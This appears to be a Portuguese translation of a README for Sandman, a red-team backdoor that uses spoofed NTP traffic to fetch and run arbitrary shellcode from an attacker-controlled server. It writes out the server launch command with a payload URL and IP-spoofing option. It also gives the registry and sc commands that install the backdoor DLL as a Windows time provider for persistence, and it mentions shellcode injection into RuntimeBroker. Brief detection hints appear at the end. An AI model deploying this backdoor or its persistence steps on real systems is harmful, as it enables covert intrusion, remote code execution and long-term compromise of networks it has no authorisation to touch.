
Backdoor baseado em NTP para redes protegidas, entregando e executando shellcode arbitrário através de tráfego NTP falsificado com persistência opcional como um provedor de tempo do Windows.
Sandman é um backdoor projetado para funcionar em redes reforçadas durante engajamentos de red team.
Sandman funciona como um stager e utiliza NTP (um protocolo para sincronizar hora e data) para obter e executar um shellcode arbitrário de um servidor predefinido.
Como o NTP é um protocolo negligenciado por muitos defensores, resultando em ampla acessibilidade de rede.

Execute em máquina Windows / *nix:
python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"
Network Adapter: O adaptador no qual você deseja que o servidor escute (por exemplo, Ethernet para Windows, eth0 para *nix).
Payload Url: A URL para seu shellcode, pode ser seu agente (por exemplo, CobaltStrike ou meterpreter) ou outro stager.
IP to Spoof: Se você quiser personificar um endereço IP legítimo (por exemplo, o endereço IP de time.microsoft.com).
Para começar, você pode compilar o SandmanBackdoor conforme mencionado abaixo, pois é um único executável C# leve que pode ser executado via ExecuteAssembly, executado como um provedor NTP ou apenas executado/injetado.
Para usá-lo, você precisará seguir etapas simples:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"
sc stop w32time
sc start w32time
NOTA: Certifique-se de estar compilando com a opção x64 e não com a opção Any CPU!
Obter e executar um payload arbitrário de um servidor controlado pelo atacante.
Pode funcionar em redes reforçadas, pois o NTP geralmente é permitido no firewall.
Personificar um servidor NTP legítimo via spoofing de IP.
Python 3.9
Os requisitos estão especificados no arquivo requirements.
Para compilar o backdoor, usei o Visual Studio 2022, mas conforme mencionado na seção de uso, ele pode ser compilado com VS2022 e CSC. Você pode compilá-lo usando USE_SHELLCODE e o shellcode do Orca, ou sem USE_SHELLCODE para usar WebClient.
Para compilar o backdoor, usei o Visual Studio 2022, você também precisará instalar o DllExport (via Nuget ou qualquer outro método) para compilá-lo. Você pode compilá-lo usando USE_SHELLCODE e o shellcode do Orca, ou sem USE_SHELLCODE para usar WebClient.
Um shellcode é injetado no RuntimeBroker.
A comunicação NTP suspeita começa com um cabeçalho mágico conhecido.
Regra YARA.
Orca pelo shellcode.
Agradecimentos especiais a Tim McGuffin pela ideia do provedor de tempo.
Agradeço àqueles que já contribuíram e aceitarei contribuições com prazer; faça um pull request e eu o revisarei!